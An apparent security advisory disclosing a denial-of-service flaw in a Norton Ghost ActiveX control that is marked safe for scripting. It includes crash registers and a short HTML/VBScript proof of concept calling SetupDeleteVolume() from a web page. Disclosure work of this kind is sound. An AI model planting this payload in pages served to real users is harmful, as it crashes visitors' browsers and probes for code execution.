----------------------------------------------------------------------------------------- Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?) url: http://www.symantec.com/ Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.net/ File: EasySetupInt.dll Ver.: 14.0.4.30167 ProgID: Symantec.EasySetup.1 Descr.: CEasySetup Object - Support module for EasySetup wizard Marked as: RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False KillBitSet: False Bug info: This component contains methods which lead into a denial of service. This is the list of components: "GetBackupLocationPath" "CallUninstall" "SetupDeleteVolume" "CanUseEasySetup" "CallAddInitialProtection" "CallTour" Crash happens here: 03A6B9D6 8B10 MOV EDX,DWORD PTR DS:[EAX] And registers risuation is: EAX 00000000 ECX 774F9997 ole32.774F9997 EDX 019DCB04 EBX 00000000 ESP 019DCAE4 EBP 019DCB9C ESI 019DCCB8 EDI 00000001 EIP 03A6B9D6 EasySetu.03A6B9D6 Unfortunately the vulnerability seems to be unexploitable, anyway I've found a way to execute arbitrary code but it's useless because requires a high level of user interaction to work. That's why it will remain private. I hope that someone else will be able to exploit this vuln using more convenient ways. Peace This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP3 with Internet Explorer 7 ----------------------------------------------------------------------------------------- <object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.SetupDeleteVolume() End Sub </script>